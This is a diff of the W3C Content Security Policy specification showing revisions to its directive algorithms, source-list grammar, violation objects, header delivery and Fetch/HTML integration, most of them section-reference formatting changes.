                            ; above represents all VCHAR characters (%x21-%x7E)
    @@ -2099,103 +2560,103 @@ 

    Directives have a number of associated algorithms:

      -
    1. -

      A pre-request check, which takes a request and a policy as an argument, and is executed - during §4.1.3 Should request be blocked by Content Security Policy?. This algorithm returns "Allowed" unless +

    2. +

      A pre-request check, which takes a request and a policy as an argument, and is executed + during § 4.1.3 Should request be blocked by Content Security Policy?. This algorithm returns "Allowed" unless otherwise specified.

      -
    3. -

      A post-request check, which takes a request, a response, and a policy as arguments, - and is executed during §4.1.4 Should response to request be blocked by Content Security Policy?. This algorithm returns +

    4. +

      A post-request check, which takes a request, a response, and a policy as arguments, + and is executed during § 4.1.4 Should response to request be blocked by Content Security Policy?. This algorithm returns "Allowed" unless otherwise specified.

      -
    5. -

      A response check, which takes a request, a response, and a policy as arguments, - and is executed during §4.1.4 Should response to request be blocked by Content Security Policy?. This algorithm returns +

    6. +

      A response check, which takes a request, a response, and a policy as arguments, + and is executed during § 4.1.4 Should response to request be blocked by Content Security Policy?. This algorithm returns "Allowed" unless otherwise specified.

      -
    7. -

      An inline check, which takes an Element a +

    8. +

      An inline check, which takes an Element, a type string, a policy, and a source string as arguments, - and is executed during §4.2.4 Should element’s inline type behavior be blocked by Content Security Policy? and during §4.2.5 Should navigation request of type from source in target be blocked + and is executed during § 4.2.4 Should element’s inline type behavior be blocked by Content Security Policy? and during § 4.2.5 Should navigation request of type be blocked by Content Security Policy? for javascript: requests. This algorithm returns "Allowed" unless otherwise specified.

      -
    9. -

      An initialization, which takes a Document or global object, a response, and a policy as arguments. This algorithm is executed during §4.2.1 Initialize a Document's CSP list, +

    10. +

      An initialization, which takes a Document or global object, a response, and a policy as arguments. This algorithm is executed during § 4.2.1 Initialize a Document's CSP list, and has no effect unless otherwise specified.

      -
    11. -

      A pre-navigation check, which takes a request, a navigation type string ("form-submission" +

    12. +

      A pre-navigation check, which takes a request, a navigation type string ("form-submission" or "other"), and a policy as arguments, and - is executed during §4.2.5 Should navigation request of type from source in target be blocked + is executed during § 4.2.5 Should navigation request of type be blocked by Content Security Policy?. It returns "Allowed" unless otherwise specified.

      -
    13. -

      A navigation response check, which takes a request, a navigation type string ("form-submission" or "other"), +

    14. +

      A navigation response check, which takes a request, a navigation type string ("form-submission" or "other"), a response, a browsing context, a check type string ("source" - or "response"), and a policy as arguments, and is executed during §4.2.6 Should navigation response to navigation request of type from source + or "response"), and a policy as arguments, and is executed during § 4.2.6 Should navigation response to navigation request of type in target be blocked by Content Security Policy?. It returns "Allowed" unless otherwise specified.

    2.3.1. Source Lists

    -

    Many directives' values consist of source lists: sets of strings which identify content that can be fetched and potentially embedded or - executed. Each string represents one of the following types of source +

    Many directives' values consist of source lists: sets of strings which identify content that can be fetched and potentially embedded or + executed. Each string represents one of the following types of source expression:

      -
    1. +
    2. Keywords such as 'none' and 'self' (which match nothing and the current URL’s origin, respectively)

      -
    3. +
    4. Serialized URLs such as https://example.com/path/to/file.js (which matches a specific file) or https://example.com/ (which matches everything on that origin)

      -
    5. +
    6. Schemes such as https: (which matches any resource having the specified scheme)

      -
    7. +
    8. Hosts such as example.com (which matches any resource on the host, regardless of scheme) or *.example.com (which matches any resource on the host’s subdomains (and any of its subdomains' subdomains, and so on))

      -
    9. +
    10. Nonces such as 'nonce-ch4hvvbHDpv7xCSvXCs3BrNggHdTzxUA' (which can match specific elements on a page)

      -
    11. +
    12. Digests such as 'sha256-abcd...' (which can match specific elements on a page)

    -

    A serialized source list is an ASCII string, consisting of a +

    A serialized source list is an ASCII string, consisting of a whitespace-delimited series of source expressions, adhering to the following ABNF grammar [RFC5234]:

    -
    serialized-source-list = ( source-expression *( required-ascii-whitespace source-expression ) ) / "'none'"
    -source-expression      = scheme-source / host-source / keyword-source
    +
    serialized-source-list = ( source-expression *( required-ascii-whitespace source-expression ) ) / "'none'"
    +source-expression      = scheme-source / host-source / keyword-source
                              / nonce-source / hash-source
     
     ; Schemes: "https:" / "custom-scheme:" / "another.custom-scheme:"
    -scheme-source = scheme-part ":"
    +scheme-source = scheme-part ":"
     
     ; Hosts: "example.com" / "*.example.com" / "https://*.example.com:12/path/to/file.js"
    -host-source = [ scheme-part "://" ] host-part [ ":" port-part ] [ path-part ]
    -scheme-part = scheme
    +host-source = [ scheme-part "://" ] host-part [ ":" port-part ] [ path-part ]
    +scheme-part = scheme
                   ; scheme is defined in section 3.1 of RFC 3986.
    -host-part   = "*" / [ "*." ] 1*host-char *( "." 1*host-char )
    -host-char   = ALPHA / DIGIT / "-"
    -port-part   = 1*DIGIT / "*"
    -path-part   = path-absolute (but not including ";" or ",")
    +host-part   = "*" / [ "*." ] 1*host-char *( "." 1*host-char )
    +host-char   = ALPHA / DIGIT / "-"
    +port-part   = 1*DIGIT / "*"
    +path-part   = path-absolute (but not including ";" or ",")
                   ; path-absolute is defined in section 3.3 of RFC 3986.
     
     ; Keywords:
    -keyword-source = "'self'" / "'unsafe-inline'" / "'unsafe-eval'"
    -                 / "'strict-dynamic'" / "'unsafe-hashes'" /
    -                 / "'report-sample'" / "'unsafe-allow-redirects'"
    +keyword-source = "'self'" / "'unsafe-inline'" / "'unsafe-eval'"
    +                 / "'strict-dynamic'" / "'unsafe-hashes'" /
    +                 / "'report-sample'" / "'unsafe-allow-redirects'"
     
     ISSUE: Bikeshed unsafe-allow-redirects.
     
     ; Nonces: 'nonce-[nonce goes here]'
    -nonce-source  = "'nonce-" base64-value "'"
    -base64-value  = 1*( ALPHA / DIGIT / "+" / "/" / "-" / "_" )*2( "=" )
    +nonce-source  = "'nonce-" base64-value "'"
    +base64-value  = 1*( ALPHA / DIGIT / "+" / "/" / "-" / "_" )*2( "=" )
     
     ; Digests: 'sha256-[digest goes here]'
    -hash-source    = "'" hash-algorithm "-" base64-value "'"
    -hash-algorithm = "sha256" / "sha384" / "sha512"
    +hash-source    = "'" hash-algorithm "-" base64-value "'"
    +hash-algorithm = "sha256" / "sha384" / "sha512"
     

    The host-char production intentionally contains only ASCII characters; internationalized domain names cannot be entered directly as part of a serialized CSP, but instead MUST be Punycode-encoded [RFC3492]. For example, the domain üüüüüü.de MUST be represented as xn--tdaaaaaa.de.

    Note: Though IP address do match the grammar above, only 127.0.0.1 will actually match a URL when used in a source - expression (see §6.6.2.5 Does url match source list in origin with redirect count? for details). The security + expression (see § 6.6.2.5 Does url match source list in origin with redirect count? for details). The security properties of IP addresses are suspect, and authors ought to prefer hostnames whenever possible.

    Note: The base64-value grammar allows both base64 and base64url encoding. These encodings are treated as equivalant when @@ -2204,31 +2665,31 @@

    2.4. Violations

    -

    A violation represents an action or resource which goes against the +

    A violation represents an action or resource which goes against the set of policy objects associated with a global object.

    -

    Each violation has a global object, which +

    Each violation has a global object, which is the global object whose policy has been violated.

    -

    Each violation has a url which is its global object’s URL.

    -

    Each violation has a status which is a +

    Each violation has a url which is its global object’s URL.

    +

    Each violation has a status which is a non-negative integer representing the HTTP status code of the resource for which the global object was instantiated.

    -

    Each violation has a resource, which is +

    Each violation has a resource, which is either null, "inline", "eval", or a URL. It represents the resource which violated the policy.

    -

    Each violation has a referrer, which is either null, or a URL. It represents the referrer of the resource whose policy +

    Each violation has a referrer, which is either null, or a URL. It represents the referrer of the resource whose policy was violated.

    -

    Each violation has a policy, which is the policy that has been violated.

    -

    Each violation has a disposition, which is the disposition of the policy that has been violated.

    -

    Each violation has an effective directive which is a non-empty string representing the directive whose +

    Each violation has a policy, which is the policy that has been violated.

    +

    Each violation has a disposition, which is the disposition of the policy that has been violated.

    +

    Each violation has an effective directive which is a non-empty string representing the directive whose enforcement caused the violation.

    -

    Each violation has a source file, which is +

    Each violation has a source file, which is either null or a URL.

    -

    Each violation has a line number, which is +

    Each violation has a line number, which is a non-negative integer.

    -

    Each violation has a column number, which +

    Each violation has a column number, which is a non-negative integer.

    -

    Each violation has a element, which is either null or an element.

    -

    Each violation has a sample, +

    Each violation has a element, which is either null or an element.

    +

    Each violation has a sample, which is a string. It is the empty string unless otherwise specified.

    Note: A violation’s sample will be populated with the first 40 characters of an inline script, event handler, or style that caused an violation. Violations @@ -2236,27 +2697,27 @@

    2.4.1. Create a violation object for global, policy, and directive

    Given a global object (global), a policy (policy), and a string (directive), the following algorithm creates a new violation object, and populates it with an initial set of data:

      -
    1. +
    2. Let violation be a new violation whose global object is global, policy is policy, effective directive is directive, and resource is null.

      -
    3. +
    4. If the user agent is currently executing script, and can extract a source file’s URL, line number, and column number from the global, set violation’s source file, line number, and column number accordingly.

      -

      Is this kind of thing specified anywhere? I didn’t see anything +

      Is this kind of thing specified anywhere? I didn’t see anything that looked useful in [ECMA262].

      Note: User agents need to ensure that the source file is the URL requested by the page, pre-redirects. If that’s not possible, user agents need to strip the URL down to an origin to avoid unintentional leakage.

      -
    5. +
    6. If global is a Window object, set violation’s referrer to global’s document's referrer.

      -
    7. +
    8. Set violation’s status to the HTTP status code for the resource associated with violation’s global object.

      -

      How, exactly, do we get the status code? We don’t actually store it +

      How, exactly, do we get the status code? We don’t actually store it anywhere.

      -
    9. +
    10. Return violation.

    2.4.2. Create a violation object for request, and policy.

    @@ -2264,34 +2725,34 @@

    violation object, and populates it with an initial set of data:

      -
    1. -

      Let directive be the result of executing §6.7.1 Get the effective directive for request on request.

      -
    2. -

      Let violation be the result of executing §2.4.1 Create a violation object for global, policy, and directive on request’s client’s global object, policy, and directive.

      -
    3. +
    4. +

      Let directive be the result of executing § 6.7.1 Get the effective directive for request on request.

      +
    5. +

      Let violation be the result of executing § 2.4.1 Create a violation object for global, policy, and directive on request’s client’s global object, policy, and directive.

      +
    6. Set violation’s resource to request’s url.

      Note: We use request’s url, and not its current url, as the latter might contain information about redirect targets to which the page MUST NOT be given access.

      -
    7. +
    8. Return violation.

    3. Policy Delivery

    A server MAY declare a policy for a particular resource - representation via an HTTP response header field whose value is a serialized CSP. This mechanism is defined in detail in §3.1 The Content-Security-Policy HTTP Response Header Field and §3.2 The Content-Security-Policy-Report-Only HTTP Response Header Field, and the integration with Fetch - and HTML is described in §4.1 Integration with Fetch and §4.2 Integration with HTML.

    -

    A policy may also be declared inline in an HTML document via a meta element’s http-equiv attribute, as described in §3.3 The <meta> element.

    + representation via an HTTP response header field whose value is a serialized CSP. This mechanism is defined in detail in § 3.1 The Content-Security-Policy HTTP Response Header Field and § 3.2 The Content-Security-Policy-Report-Only HTTP Response Header Field, and the integration with Fetch + and HTML is described in § 4.1 Integration with Fetch and § 4.2 Integration with HTML.

    +

    A policy may also be declared inline in an HTML document via a meta element’s http-equiv attribute, as described in § 3.3 The <meta> element.

    3.1. The Content-Security-Policy HTTP Response Header Field

    -

    The Content-Security-Policy HTTP response header field is the preferred mechanism for delivering a policy from a server to a +

    The Content-Security-Policy HTTP response header field is the preferred mechanism for delivering a policy from a server to a client. The header’s value is represented by the following ABNF [RFC5234]:

    Content-Security-Policy = 1#serialized-policy
                         ; The '#' rule is the one defined in section 7 of RFC 7230
                         ; but it incorporates the modifications specified
                         ; in section 2.1 of this document.
     
    -
    - +
    +
    Content-Security-Policy: script-src 'self';
                              report-to csp-reporting-endpoint
     
    @@ -2302,9 +2763,9 @@

    Content-Security-Policy" with a given resource representation.

    When the user agent receives a Content-Security-Policy header field, it - MUST parse and enforce each serialized CSP it contains as described in §4.1 Integration with Fetch, §4.2 Integration with HTML.

    + MUST parse and enforce each serialized CSP it contains as described in § 4.1 Integration with Fetch, § 4.2 Integration with HTML.

    3.2. The Content-Security-Policy-Report-Only HTTP Response Header Field

    -

    The Content-Security-Policy-Report-Only HTTP response header field allows web developers to experiment with policies by monitoring (but +

    The Content-Security-Policy-Report-Only HTTP response header field allows web developers to experiment with policies by monitoring (but not enforcing) their effects. The header’s value is represented by the following ABNF [RFC5234]:

    Content-Security-Policy-Report-Only = 1#serialized-policy
                         ; The '#' rule is the one defined in section 7 of RFC 7230
    @@ -2315,8 +2776,8 @@ 

    - +
    +
    Content-Security-Policy-Report-Only: script-src 'self';
                                          report-to csp-reporting-endpoint
     
    @@ -2327,17 +2788,17 @@

    Content-Security-Policy-Report-Only" with a given resource representation.

    When the user agent receives a Content-Security-Policy-Report-Only header - field, it MUST parse and monitor each serialized CSP it contains as described in §4.1 Integration with Fetch and §4.2 Integration with HTML.

    + field, it MUST parse and monitor each serialized CSP it contains as described in § 4.1 Integration with Fetch and § 4.2 Integration with HTML.

    Note: The Content-Security-Policy-Report-Only header is not supported inside a meta element.

    3.3. The <meta> element

    A Document may deliver a policy via one or more HTML meta elements whose http-equiv attributes are an ASCII case-insensitive match for the string "Content-Security-Policy". For example:

    -
    - -
    <meta http-equiv="Content-Security-Policy" content="script-src 'self'">
    +    
    + +
    <meta http-equiv="Content-Security-Policy" content="script-src 'self'">
     
    -

    Implementation details can be found in HTML’s Content Security Policy +

    Implementation details can be found in HTML’s Content Security Policy state http-equiv processing instructions [HTML].

    Note: The Content-Security-Policy-Report-Only header is not supported inside a meta element. Neither are the report-uri, frame-ancestors, and sandbox directives.

    Authors are strongly encouraged to place meta elements as early @@ -2348,7 +2809,7 @@

    Note: A policy specified via a meta element will be enforced along with any other policies active for the protected resource, regardless of where they’re specified. The general impact of enforcing multiple - policies is described in §8.1 The effect of multiple policies.

    + policies is described in § 8.1 The effect of multiple policies.

    Note: Modifications to the content attribute of a meta element after the element has been parsed will be ignored.

    @@ -2367,13 +2828,13 @@

    response should be replaced with a network error.

      -
    1. -

      §4.1.3 Should request be blocked by Content Security Policy? is called as part of step 2.4 of the Main +

    2. +

      § 4.1.3 Should request be blocked by Content Security Policy? is called as part of step 2.4 of the Main Fetch algorithm. This allows directives' pre-request checks to be executed against each request before it hits the network, and against each redirect that a request might go through on its way to reaching a resource.

      -
    3. -

      §4.1.4 Should response to request be blocked by Content Security Policy? is called as part of step 11 of the Main +

    4. +

      § 4.1.4 Should response to request be blocked by Content Security Policy? is called as part of step 11 of the Main Fetch algorithm. This allows directives' post-request checks and response checks to be executed on the response delivered from the network or from a Service Worker.

    @@ -2381,11 +2842,11 @@

    parse any policy delivered via an HTTP response header field before any global object is created in order to handle directives that require knowledge of a response’s details. To that end:

      -
    1. +
    2. A response has an associated CSP list which contains any policy objects delivered in the response’s header list.

      -
    3. -

      §4.1.1 Set response’s CSP list is called in the HTTP fetch and HTTP-network fetch algorithms.

      +
    4. +

      § 4.1.1 Set response’s CSP list is called in the HTTP fetch and HTTP-network fetch algorithms.

      Note: These two calls should ensure that a response’s CSP list is set, regardless of how the response is created. If we hit the network (via HTTP-network fetch, then we parse the policy before we handle the Set-Cookie header. If we get a response from a Service Worker (via HTTP fetch, we’ll process its CSP list before handing the @@ -2398,18 +2859,18 @@

      Given a response (response), this algorithm evaluates its header list for serialized CSP values, and populates its CSP list accordingly:

        -
      1. +
      2. Set response’s CSP list to the empty list.

        -
      3. +
      4. Let policies be the result of parsing the result of extracting header list values given Content-Security-Policy and response’s header list, with a source of "header", and a disposition of "enforce".

        -
      5. +
      6. Append to policies the result of parsing the result of extracting header list values given Content-Security-Policy-Report-Only and response’s header list, with a source of "header", and a disposition of "report".

        -
      7. +
      8. For each policy in policies:

          -
        1. +
        2. Set policy’s self-origin to response’s url's origin.

          -
        3. +
        4. Insert policy into response’s CSP list.

      @@ -2417,66 +2878,66 @@

      request (request), this algorithm reports violations based on client’s "report only" policies.

        -
      1. +
      2. Let CSP list be request’s client’s global object’s CSP list.

        -
      3. +
      4. For each policy in CSP list:

          -
        1. +
        2. If policy’s disposition is "enforce", then skip to the next policy.

          -
        3. -

          Let violates be the result of executing §6.6.2.1 Does request violate policy? on request and policy.

          -
        4. -

          If violates is not "Does Not Violate", then execute §5.3 Report a violation on the result of executing §2.4.2 Create a violation object for request, and policy. on request, and policy.

          +
        5. +

          Let violates be the result of executing § 6.6.2.1 Does request violate policy? on request and policy.

          +
        6. +

          If violates is not "Does Not Violate", then execute § 5.3 Report a violation on the result of executing § 2.4.2 Create a violation object for request, and policy. on request, and policy.

      4.1.3. Should request be blocked by Content Security Policy?

      Given a request (request), this algorithm returns Blocked or Allowed and reports violations based on request’s client’s Content Security Policy.

        -
      1. +
      2. Let CSP list be request’s client’s global object’s CSP list.

        -
      3. +
      4. Let result be "Allowed".

        -
      5. +
      6. For each policy in CSP list:

          -
        1. +
        2. If policy’s disposition is "report", then skip to the next policy.

          -
        3. -

          Let violates be the result of executing §6.6.2.1 Does request violate policy? on request and policy.

          -
        4. +
        5. +

          Let violates be the result of executing § 6.6.2.1 Does request violate policy? on request and policy.

          +
        6. If violates is not "Does Not Violate", then:

            -
          1. -

            Execute §5.3 Report a violation on the result of executing §2.4.2 Create a violation object for request, and policy. on request, and policy.

            -
          2. +
          3. +

            Execute § 5.3 Report a violation on the result of executing § 2.4.2 Create a violation object for request, and policy. on request, and policy.

            +
          4. Set result to "Blocked".

        -
      7. +
      8. Return result.

      4.1.4. Should response to request be blocked by Content Security Policy?

      Given a response (response) and a request (request), this algorithm returns Blocked or Allowed, and reports violations based on request’s client’s Content Security Policy.

        -
      1. +
      2. Let CSP list be request’s client’s global object’s CSP list.

        -
      3. +
      4. Let result be "Allowed".

        -
      5. +
      6. For each policy in CSP list:

          -
        1. +
        2. For each directive in policy:

            -
          1. +
          2. If the result of executing directive’s post-request check is "Blocked", then:

              -
            1. -

              Execute §5.3 Report a violation on the result of executing §2.4.2 Create a violation object for request, and policy. on request, and policy.

              -
            2. +
            3. +

              Execute § 5.3 Report a violation on the result of executing § 2.4.2 Create a violation object for request, and policy. on request, and policy.

              +
            4. If policy’s disposition is "enforce", then set result to "Blocked".

            @@ -2485,19 +2946,19 @@

            Note: This portion of the check verifies that the page can load the response. That is, that a Service Worker hasn’t substituted a file which would violate the page’s CSP.

            -
          3. +
          4. For each policy in response’s CSP list:

              -
            1. +
            2. For each directive in policy:

                -
              1. +
              2. If the result of executing directive’s response check on request, response, and policy is "Blocked", then:

                  -
                1. -

                  Execute §5.3 Report a violation on the result of executing §2.4.2 Create a violation object for request, and policy. on request, and policy.

                  -
                2. +
                3. +

                  Execute § 5.3 Report a violation on the result of executing § 2.4.2 Create a violation object for request, and policy. on request, and policy.

                  +
                4. If policy’s disposition is "enforce", then set result to "Blocked".

                @@ -2505,69 +2966,69 @@

                Note: This portion of the check allows policies delivered with the response to determine whether the response is allowed to be delivered.

                -
              3. +
              4. Return result.

              4.2. Integration with HTML

                -
              1. -

                The Document, WorkerGlobalScope, and WorkletGlobalScope objects have a CSP list, which holds all the policy objects which are +

              2. +

                The Document, WorkerGlobalScope, and WorkletGlobalScope objects have a CSP list, which holds all the policy objects which are active for a given context. This list is empty unless otherwise specified, - and is populated via the §4.2.2 Initialize a global object’s CSP list and §4.2.1 Initialize a Document's CSP list algorithms.

                -
              3. -

                A global object’s CSP list is the result of executing §4.2.3 Retrieve the CSP list of an object with the global object as the object.

                -
              4. -

                A policy is enforced or monitored for a global object by inserting it into the global object’s CSP list.

                -
              5. -

                §4.2.2 Initialize a global object’s CSP list is called during the run a worker algorithm in order to bind a set of policy objects associated - with a response WorkerGlobalScope or WorkletGlobalScope.

                -
              6. -

                §4.2.1 Initialize a Document's CSP list is called during the initializing a + and is populated via the § 4.2.2 Initialize a global object’s CSP list and § 4.2.1 Initialize a Document's CSP list algorithms.

                +
              7. +

                A global object’s CSP list is the result of executing § 4.2.3 Retrieve the CSP list of an object with the global object as the object.

                +
              8. +

                A policy is enforced or monitored for a global object by inserting it into the global object’s CSP list.

                +
              9. +

                § 4.2.2 Initialize a global object’s CSP list is called during the run a worker algorithm in order to bind a set of policy objects associated + with a response WorkerGlobalScope or WorkletGlobalScope.

                +
              10. +

                § 4.2.1 Initialize a Document's CSP list is called during the initializing a new Document object algorithm in order to bind a set of policy objects associated with a response to a newly created Document.

                -
              11. -

                §4.2.4 Should element’s inline type behavior be blocked by Content Security Policy? is called during the prepare a script and update a style block algorithms in order to determine whether or +

              12. +

                § 4.2.4 Should element’s inline type behavior be blocked by Content Security Policy? is called during the prepare a script and update a style block algorithms in order to determine whether or not an inline script or style block is allowed to execute/render.

                -
              13. -

                §4.2.4 Should element’s inline type behavior be blocked by Content Security Policy? is called during handling of inline event +

              14. +

                § 4.2.4 Should element’s inline type behavior be blocked by Content Security Policy? is called during handling of inline event handlers (like onclick) and inline style attributes in order to determine whether or not they ought to be allowed to execute/render.

                -
              15. +
              16. policy is enforced during processing of the meta element’s http-equiv.

                -
              17. -

                A Document's embedding document is the Document through which the Document's browsing context is nested.

                -
              18. +
              19. +

                A Document's embedding document is the Document through which the Document's browsing context is nested.

                +
              20. HTML populates each request’s cryptographic nonce metadata and parser metadata with relevant data from the elements responsible for resource loading.

                -

                Stylesheet loading is not yet integrated with +

                Stylesheet loading is not yet integrated with Fetch in WHATWG’s HTML. <https://github.com/whatwg/html/issues/968>

                -
              21. -

                §6.2.1.1 Is base allowed for document? is called during base's set the frozen +

              22. +

                § 6.2.1.1 Is base allowed for document? is called during base's set the frozen base URL algorithm to ensure that the href attribute’s value is valid.

                -
              23. -

                §6.2.2.2 Should plugin element be blocked a priori by Content - Security Policy?: is called during the processing of object, embed, and applet elements to determine whether they may trigger a fetch.

                -

                Note: Fetched plugin resources are handled in §4.1.4 Should response to request be blocked by Content Security Policy?.

                -
              24. -

                §4.2.5 Should navigation request of type from source in target be blocked +

              25. +

                § 6.2.2.2 Should plugin element be blocked a priori by Content + Security Policy?: is called during the processing of object, embed, and applet elements to determine whether they may trigger a fetch.

                +

                Note: Fetched plugin resources are handled in § 4.1.4 Should response to request be blocked by Content Security Policy?.

                +
              26. +

                § 4.2.5 Should navigation request of type be blocked by Content Security Policy? is called during the process a - navigate fetch algorithm, and §4.2.6 Should navigation response to navigation request of type from source + navigate fetch algorithm, and § 4.2.6 Should navigation response to navigation request of type in target be blocked by Content Security Policy? is called during the process a navigate response algorithm to apply directive’s navigation checks, as well as inline checks for navigations to javascript: URLs.

              -

              4.2.1. Initialize a Document's CSP list

              +

              4.2.1. Initialize a Document's CSP list

              Given a Document (document), a response (response), and a request or null (request) the user agent performs the following steps in order to initialize document’s CSP list:

                -
              1. +
              2. If request is not null and response’s url’s scheme is either a local scheme or javascript:

                  -
                1. +
                2. For each policy in request’s client’s global object’s CSP list:

                    -
                  1. +
                  2. Insert a copy of policy into document’s CSP list.

                @@ -2576,61 +3037,61 @@

                Note: Since self-origin is also copied, any 'self' checks will be using the source browsing context’s origin. This is done for the purpose of making 'self' make sense in documents with opaque origins. The 'self' keyword is used - in the §6.6.2.6 Does url match expression in origin with redirect count? algorithm.

                + in the § 6.6.2.6 Does url match expression in origin with redirect count? algorithm.

                Note: We do all this to ensure that a page cannot bypass its policy by embedding a frame or popping up a new window containing content it controls (blob: resources, or document.write()).

                -
              3. +
              4. For each policy in response’s CSP list, insert policy into document’s CSP list.

                -
              5. +
              6. For each policy in document’s CSP list:

                  -
                1. +
                2. For each directive in policy:

                    -
                  1. +
                  2. Execute directive’s initialization algorithm on document and response.

              -

              4.2.2. Initialize a global object’s CSP list

              +

              4.2.2. Initialize a global object’s CSP list

              Given a global object (global), and a response (response), the user agent performs the following steps in order to initialize global’s CSP list:

                -
              1. +
              2. If response’s url’s scheme is a local scheme, or if global is a DedicatedWorkerGlobalScope:

                  -
                1. +
                2. Let owners be an empty list.

                  -
                3. +
                4. Add each of the items in global’s owner set to owners.

                  -
                5. +
                6. For each owner in owners:

                    -
                  1. +
                  2. For each policy in owner’s CSP list:

                      -
                    1. +
                    2. Insert a copy of policy into global’s CSP list.

                Note: local scheme includes about:, and this algorithm will therefore copy the embedding document’s policies for an iframe srcdoc Document.

                -
              3. +
              4. If global is a SharedWorkerGlobalScope or ServiceWorkerGlobalScope:

                  -
                1. +
                2. For each policy in response’s CSP list, insert policy into global’s CSP list.

                -
              5. -

                If global is a WorkletGlobalScope:

                +
              6. +

                If global is a WorkletGlobalScope:

                  -
                1. -

                  Let owner be global’s owner document.

                  -
                2. +
                3. +

                  Let owner be global’s owner document.

                  +
                4. For each policy in owner’s CSP list:

                    -
                  1. +
                  2. Insert a copy of policy into global’s CSP list.

                @@ -2638,18 +3099,18 @@

                4.2.3. Retrieve the CSP list of an object

                To obtain object’s CSP list:

                  -
                1. +
                2. If object is a Document return object’s CSP list.

                  -
                3. +
                4. If object is a Window return object’s associated Document’s CSP list.

                  -
                5. +
                6. If object is a WorkerGlobalScope, return object’s CSP list.

                  -
                7. -

                  If object is a WorkletGlobalScope, return object’s CSP list.

                  -
                8. +
                9. +

                  If object is a WorkletGlobalScope, return object’s CSP list.

                  +
                10. Return null.

                -

                4.2.4. Should element’s inline type behavior be blocked by Content Security Policy?

                +

                4.2.4. Should element’s inline type behavior be blocked by Content Security Policy?

                Given an Element (element), a string (type), and a string (source) this algorithm returns "Allowed" if the element is allowed to have inline definition of a particular type of behavior (script execution, style @@ -2657,160 +3118,160 @@

                Note: The valid values for type are "script", "script attribute", "style", and "style attribute".

                  -
                1. +
                2. Assert: element is not null.

                  -
                3. +
                4. Let result be "Allowed".

                  -
                5. +
                6. For each policy in element’s Document's global object’s CSP list:

                    -
                  1. +
                  2. For each directive in policy’s directive set:

                      -
                    1. +
                    2. If directive’s inline check returns "Allowed" when executed upon element, type, policy and source, skip to the next directive.

                      -
                    3. -

                      Let directive-name be the result of executing §6.7.2 Get the effective directive for inline checks on type.

                      -
                    4. -

                      Otherwise, let violation be the result of executing §2.4.1 Create a violation object for global, policy, and directive on the current settings +

                    5. +

                      Let directive-name be the result of executing § 6.7.2 Get the effective directive for inline checks on type.

                      +
                    6. +

                      Otherwise, let violation be the result of executing § 2.4.1 Create a violation object for global, policy, and directive on the current settings object’s global object, policy, and directive-name.

                      -
                    7. +
                    8. Set violation’s resource to "inline".

                      -
                    9. +
                    10. Set violation’s element to element.

                      -
                    11. +
                    12. If directive’s value contains the expression "'report-sample'", then set violation’s sample to the substring of source containing its first 40 characters.

                      -
                    13. -

                      Execute §5.3 Report a violation on violation.

                      -
                    14. +
                    15. +

                      Execute § 5.3 Report a violation on violation.

                      +
                    16. If policy’s disposition is "enforce", then set result to "Blocked".

                  -
                7. +
                8. Return result.

                -

                4.2.5. Should navigation request of type from source in target be blocked - by Content Security Policy?

                -

                Given a request (navigation request), a string (type, either - "form-submission" or "other"), and two browsing contexts (source and target), this algorithm return "Blocked" if the active policy blocks +

                4.2.5. Should navigation request of type be blocked + by Content Security Policy?

                +

                Given a request (navigation request) and a string (type, either + "form-submission" or "other"), this algorithm return "Blocked" if the active policy blocks the navigation, and "Allowed" otherwise:

                  -
                1. +
                2. Let result be "Allowed".

                  -
                3. +
                4. For each policy in navigation request’s client’s global object’s CSP list:

                    -
                  1. +
                  2. For each directive in policy:

                      -
                    1. +
                    2. If directive’s pre-navigation check returns "Allowed" when executed upon navigation request, type, and policy skip to the next directive.

                      -
                    3. -

                      Otherwise, let violation be the result of executing §2.4.1 Create a violation object for global, policy, and directive on navigation request’s client’s global object, policy, and directive’s name.

                      -
                    4. +
                    5. +

                      Otherwise, let violation be the result of executing § 2.4.1 Create a violation object for global, policy, and directive on navigation request’s client’s global object, policy, and directive’s name.

                      +
                    6. Set violation’s resource to navigation request’s URL.

                      -
                    7. -

                      Execute §5.3 Report a violation on violation.

                      -
                    8. +
                    9. +

                      Execute § 5.3 Report a violation on violation.

                      +
                    10. If policy’s disposition is "enforce", then set result to "Blocked".

                  -
                5. +
                6. If result is "Allowed", and if navigation request’s current URL’s scheme is javascript:

                    -
                  1. +
                  2. For each policy in navigation request’s client’s global object’s CSP list:

                      -
                    1. +
                    2. For each directive in policy:

                        -
                      1. -

                        Let directive-name be the result of executing §6.7.2 Get the effective directive for inline checks on type.

                        -
                      2. +
                      3. +

                        Let directive-name be the result of executing § 6.7.2 Get the effective directive for inline checks on type.

                        +
                      4. If directive’s inline check returns "Allowed" when executed upon null, "navigation" and navigation request’s current URL, skip to the next directive.

                        -
                      5. -

                        Otherwise, let violation be the result of executing §2.4.1 Create a violation object for global, policy, and directive on navigation request’s client’s global object, policy, and directive-name.

                        -
                      6. +
                      7. +

                        Otherwise, let violation be the result of executing § 2.4.1 Create a violation object for global, policy, and directive on navigation request’s client’s global object, policy, and directive-name.

                        +
                      8. Set violation’s resource to navigation request’s URL.

                        -
                      9. -

                        Execute §5.3 Report a violation on violation.

                        -
                      10. +
                      11. +

                        Execute § 5.3 Report a violation on violation.

                        +
                      12. If policy’s disposition is "enforce", then set result to "Blocked".

                  -
                7. +
                8. Return result.

                -

                4.2.6. Should navigation response to navigation request of type from source in target be blocked by Content Security Policy?

                +

                4.2.6. Should navigation response to navigation request of type in target be blocked by Content Security Policy?

                Given a request (navigation request), a string (type, either "form-submission" or "other"), a response navigation - response, and two browsing contexts (source and target), this algorithm + response, and a browsing context target, this algorithm returns "Blocked" if the active policy blocks the navigation, and "Allowed" otherwise:

                  -
                1. +
                2. Let result be "Allowed".

                  -
                3. +
                4. For each policy in navigation response’s CSP list:

                  Note: Some directives (like frame-ancestors) allow a response’s Content Security Policy to act on the navigation.

                    -
                  1. +
                  2. For each directive in policy:

                      -
                    1. +
                    2. If directive’s navigation response check returns "Allowed" when executed upon navigation request, type, navigation response, target, "response", and policy skip to the next directive.

                      -
                    3. -

                      Otherwise, let violation be the result of executing §2.4.1 Create a violation object for global, policy, and directive on null, policy, and directive’s name.

                      +
                    4. +

                      Otherwise, let violation be the result of executing § 2.4.1 Create a violation object for global, policy, and directive on null, policy, and directive’s name.

                      Note: We use null for the global object, as no global exists: we haven’t processed the navigation to create a Document yet.

                      -
                    5. +
                    6. Set violation’s resource to navigation response’s URL.

                      -
                    7. -

                      Execute §5.3 Report a violation on violation.

                      -
                    8. +
                    9. +

                      Execute § 5.3 Report a violation on violation.

                      +
                    10. If policy’s disposition is "enforce", then set result to "Blocked".

                  -
                5. +
